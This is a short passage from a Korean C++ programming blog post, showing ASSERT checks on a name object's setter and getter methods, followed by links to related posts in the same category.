name.SetData( "John", 'Q', "Public" );

ASSERT( name.GetLastName() == "Public" );

name.GetData( first, middle, last );

ASSERT( ( first == "John" ) && ( last == "Public" ) );

...

'programming > C++' 카테고리의 다른 글

wireshark 의 패킷수집절차  (0) 2010.07.17
gcc -lz옵션  (0) 2010.05.06
main, _tmain, wmain  (0) 2010.04.17
Posted by applicationlayer
: